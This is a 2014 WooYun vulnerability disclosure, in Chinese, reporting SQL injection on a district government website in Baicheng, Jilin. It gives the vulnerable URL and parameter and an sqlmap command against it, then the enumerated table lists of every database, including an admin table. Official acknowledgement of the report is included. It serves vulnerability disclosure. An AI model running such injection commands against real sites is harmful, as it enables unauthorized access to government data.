当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060114

漏洞标题：吉林省白城市洮北区官网&SQL注入导致数据库文件泄露

相关厂商：cncert国家互联网应急中心

漏洞作者： 从容

提交时间：2014-05-09 22:56

修复时间：2014-06-23 22:57

公开时间：2014-06-23 22:57

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-09： 细节已通知厂商并且等待厂商处理中
2014-05-12： 厂商已经确认，细节仅向厂商公开
2014-05-22： 细节向核心白帽子及相关领域专家公开
2014-06-01： 细节向普通白帽子公开
2014-06-11： 细节向实习白帽子公开
2014-06-23： 细节向公众公开

简要描述：

详细说明：

注入地址

http://www.taobei.gov.cn/ArticleDetail.aspx?i=1779

漏洞证明：

上神器- -.

./sqlmap.py -u  "http://www.taobei.gov.cn/ArticleDetail.aspx?i=1779" --tables


接着就是跑出来的了- -.

Database: tempdb
[2 tables]
+--------------------------------------------+
| dbo.sysconstraints                         |
| dbo.syssegments                            |
+--------------------------------------------+
Database: msdb
[82 tables]
+--------------------------------------------+
| dbo.RTblClassDefs                          |
| dbo.RTblDBMProps                           |
| dbo.RTblDBXProps                           |
| dbo.RTblDTMProps                           |
| dbo.RTblDTSProps                           |
| dbo.RTblDatabaseVersion                    |
| dbo.RTblEQMProps                           |
| dbo.RTblEnumerationDef                     |
| dbo.RTblEnumerationValueDef                |
| dbo.RTblGENProps                           |
| dbo.RTblIfaceDefs                          |
| dbo.RTblIfaceHier                          |
| dbo.RTblIfaceMem                           |
| dbo.RTblMDSProps                           |
| dbo.RTblNamedObj                           |
| dbo.RTblOLPProps                           |
| dbo.RTblParameterDef                       |
| dbo.RTblPropDefs                           |
| dbo.RTblProps                              |
| dbo.RTblRelColDefs                         |
| dbo.RTblRelshipDefs                        |
| dbo.RTblRelshipProps                       |
| dbo.RTblRelships                           |
| dbo.RTblSIMProps                           |
| dbo.RTblScriptDefs                         |
| dbo.RTblSites                              |
| dbo.RTblSumInfo                            |
| dbo.RTblTFMProps                           |
| dbo.RTblTypeInfo                           |
| dbo.RTblTypeLibs                           |
| dbo.RTblUMLProps                           |
| dbo.RTblUMXProps                           |
| dbo.RTblVersionAdminInfo                   |
| dbo.RTblVersions                           |
| dbo.RTblWorkspaceItems                     |
| dbo.backupfile                             |
| dbo.backupmediafamily                      |
| dbo.backupmediaset                         |
| dbo.backupset                              |
| dbo.log_shipping_databases                 |
| dbo.log_shipping_monitor                   |
| dbo.log_shipping_plan_databases            |
| dbo.log_shipping_plan_history              |
| dbo.log_shipping_plans                     |
| dbo.log_shipping_primaries                 |
| dbo.log_shipping_secondaries               |
| dbo.logmarkhistory                         |
| dbo.mswebtasks                             |
| dbo.restorefile                            |
| dbo.restorefilegroup                       |
| dbo.restorehistory                         |
| dbo.sqlagent_info                          |
| dbo.sysalerts                              |
| dbo.syscachedcredentials                   |
| dbo.syscategories                          |
| dbo.sysconstraints                         |
| dbo.sysdbmaintplan_databases               |
| dbo.sysdbmaintplan_history                 |
| dbo.sysdbmaintplan_jobs                    |
| dbo.sysdbmaintplans                        |
| dbo.sysdownloadlist                        |
| dbo.sysdtscategories                       |
| dbo.sysdtspackagelog                       |
| dbo.sysdtspackages                         |
| dbo.sysdtssteplog                          |
| dbo.sysdtstasklog                          |
| dbo.sysjobhistory                          |
| dbo.sysjobs                                |
| dbo.sysjobs_view                           |
| dbo.sysjobschedules                        |
| dbo.sysjobservers                          |
| dbo.sysjobsteps                            |
| dbo.sysnotifications                       |
| dbo.sysoperators                           |
| dbo.syssegments                            |
| dbo.systargetservergroupmembers            |
| dbo.systargetservergroups                  |
| dbo.systargetservers                       |
| dbo.systargetservers_view                  |
| dbo.systaskids                             |
| dbo.systasks                               |
| dbo.systasks_view                          |
+--------------------------------------------+
Database: pubs
[14 tables]
+--------------------------------------------+
| dbo.authors                                |
| dbo.discounts                              |
| dbo.employee                               |
| dbo.jobs                                   |
| dbo.pub_info                               |
| dbo.publishers                             |
| dbo.roysched                               |
| dbo.sales                                  |
| dbo.stores                                 |
| dbo.sysconstraints                         |
| dbo.syssegments                            |
| dbo.titleauthor                            |
| dbo.titles                                 |
| dbo.titleview                              |
+--------------------------------------------+
Database: master
[36 tables]
+--------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS       |
| INFORMATION_SCHEMA.COLUMNS                 |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE     |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES       |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE  |
| INFORMATION_SCHEMA.DOMAINS                 |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS      |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE        |
| INFORMATION_SCHEMA.PARAMETERS              |
| INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS |
| INFORMATION_SCHEMA.ROUTINES                |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS         |
| INFORMATION_SCHEMA.SCHEMATA                |
| INFORMATION_SCHEMA.TABLES                  |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS       |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES        |
| INFORMATION_SCHEMA.VIEWS                   |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE       |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE        |
| dbo.MSreplication_options                  |
| dbo.spt_datatype_info                      |
| dbo.spt_datatype_info_ext                  |
| dbo.spt_fallback_db                        |
| dbo.spt_fallback_dev                       |
| dbo.spt_fallback_usg                       |
| dbo.spt_monitor                            |
| dbo.spt_provider_types                     |
| dbo.spt_server_info                        |
| dbo.spt_values                             |
| dbo.sysconstraints                         |
| dbo.syslogins                              |
| dbo.sysoledbusers                          |
| dbo.sysopentapes                           |
| dbo.sysremotelogins                        |
| dbo.syssegments                            |
+--------------------------------------------+
Database: Northwind
[31 tables]
+--------------------------------------------+
| dbo.Categories                             |
| dbo.CustomerCustomerDemo                   |
| dbo.CustomerDemographics                   |
| dbo.Customers                              |
| dbo.EmployeeTerritories                    |
| dbo.Employees                              |
| dbo.Invoices                               |
| dbo.Orders                                 |
| dbo.Products                               |
| dbo.Region                                 |
| dbo.Shippers                               |
| dbo.Suppliers                              |
| dbo.Territories                            |
| dbo.[Alphabetical list of products]        |
| dbo.[Category Sales for 1997]              |
| dbo.[Current Product List]                 |
| dbo.[Customer and Suppliers by City]       |
| dbo.[Order Details Extended]               |
| dbo.[Order Details]                        |
| dbo.[Order Subtotals]                      |
| dbo.[Orders Qry]                           |
| dbo.[Product Sales for 1997]               |
| dbo.[Products Above Average Price]         |
| dbo.[Products by Category]                 |
| dbo.[Quarterly Orders]                     |
| dbo.[Sales Totals by Amount]               |
| dbo.[Sales by Category]                    |
| dbo.[Summary of Sales by Quarter]          |
| dbo.[Summary of Sales by Year]             |
| dbo.sysconstraints                         |
| dbo.syssegments                            |
+--------------------------------------------+
Database: model
[2 tables]
+--------------------------------------------+
| dbo.sysconstraints                         |
| dbo.syssegments                            |
+--------------------------------------------+
Database: taobei
[26 tables]
+--------------------------------------------+
| dbo.TAdmin                                 |
| dbo.TArticle                               |
| dbo.TArticleClass                          |
| dbo.TArticleCustom                         |
| dbo.TCallList                              |
| dbo.TCase                                  |
| dbo.TCaseClass                             |
| dbo.TConfig                                |
| dbo.TCustomText                            |
| dbo.TFriendLink                            |
| dbo.TImages                                |
| dbo.TKeyWord                               |
| dbo.TLeader                                |
| dbo.TMesaageBox                            |
| dbo.TMessage                               |
| dbo.TNavigation                            |
| dbo.TOrder                                 |
| dbo.TProduct                               |
| dbo.TProductClass                          |
| dbo.TRotatorAD                             |
| dbo.TVote                                  |
| dbo.TVoteHistory                           |
| dbo.TVoteItem                              |
| dbo.dtproperties                           |
| dbo.sysconstraints                         |
| dbo.syssegments                            |
+--------------------------------------------+


修复方案：

:)

版权声明：转载请注明来源 从容@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-05-12 18:25

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给吉林分中心处置。

最新状态：

暂无

漏洞评价：

评论